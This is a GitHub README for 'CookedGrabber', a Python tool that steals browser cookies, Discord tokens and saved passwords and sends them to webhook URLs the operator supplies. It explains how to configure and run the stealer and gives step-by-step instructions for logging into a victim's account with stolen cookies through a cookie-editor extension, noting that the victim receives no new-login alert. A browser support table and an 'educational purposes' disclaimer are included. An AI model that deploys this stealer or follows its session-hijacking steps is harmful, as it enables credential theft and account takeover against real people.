Discord, Twitter, Instagram, netflix cookies, token grabber and also password grabber. Grabbing from all web browsers !
Usage • Cookies • Compatibility • Disclaimer • Contributing • License • Other projects
Loved the tool? Please consider donating 💸 to help it improve!
- Windows 10 OS only (win32, for x86, x86_64, and arm64 architectures)
- Python 3.x (python 3.9 used for the project.)
- Modules:
$ pip install -r requirements.txt
There is 2 ways to run the script.
You need to add your webhook(s) link(s) to the script from this line: https://github.com/mouadessalim/CookedGrabber/blob/f753c4bea37241d94253a288dd223c5ae8f7f371/CookedGrabber.py#L290 You can run the script normaly.
You can also run the program by giving several arguments (the webhook(s) link(s)):
py CookedGrabber.py YOUR WEBHOOK(s) URL(s)
Cookies are text files with small pieces of data like a username and password that are used to identify your computer as you use a computer network. Specific cookies known as HTTP cookies are used to identify specific users and improve your web browsing experience.
Data stored in a cookie is created by the server upon your connection. This data is labeled with an ID unique to you and your computer.
When the cookie is exchanged between your computer and the network server, the server reads the ID and knows what information to specifically serve to you.
Websites use HTTP cookies to streamline your web experiences. Without cookies, you’d have to login again after you leave a site or rebuild your shopping cart if you accidentally close the page. Making cookies an important a part of the internet experience.
Since the data in cookies doesn't change, cookies themselves aren't harmful. They can't infect computers with viruses or other malware. However, some cyberattacks can hijack cookies and enable access to your browsing sessions.
The server only sends the cookie when it wants the web browser to save it. If you’re wondering “where are cookies stored,” it’s simple: your web browser will store it locally to remember the “name-value pair” that identifies you.
⚠ When you try to connect to an account using cookies it does not even generate a new login request to the server, that mean that the victim does not even receive the email with a new connexion detected
. The target don't know that you are connected to the account because the server think it's him !
☢ This reveals major security breaches in general websites and social networks ! ☢
So to use cookies to log into the victim account, you must have a cookies extension. I recommand Cookie-Editor. To bypass website security you must be already connected to your personnal account to generate all cookies needed for the website. After being sure that all default cookies have been generated use your cookies extension to replace your personnal id account cookies with the grabbed victim account cookies.
You need to put each value in it's place with the cookies extension:
Once the cookies replaced and saved, refresh the page and you are logged in the victim account !
Browsers | Cookies and token grabber 🔍 | Password stealer 💥 |
---|---|---|
Chrome | ✅ | ✅ |
Edge | ✅ | ❌ |
Brave | ✅ | ❌ |
Firefox | ✅ | ❌ |
Opera (GX) | ✅ | ❌ |
Vivaldi | ✅ | ❌ |
Chromium navigator | ✅ | ❌ |
- Only for educationnal puposes.
- We decline any responsability in case of misuse of this code.
Your contributions are always welcome! if you contribute we will show your account in the README file ! Please have a look at the contribution guidelines first. 🎉
Working on your first Pull Request? You can learn how from this free series How to Contribute to an Open Source Project on GitHub
The actual repository is unlicensed, it mean all rights are reserved. You cannot modify or redistribute this code without explicit permission from the copyright holders.
Violating this rule may lead our intervention according to the Github Terms of Service — User-Generated Content — Section D.3 using the Content Removal Policies — DMCA Takedown Policy.
If you love this repository you may be interested in these projects: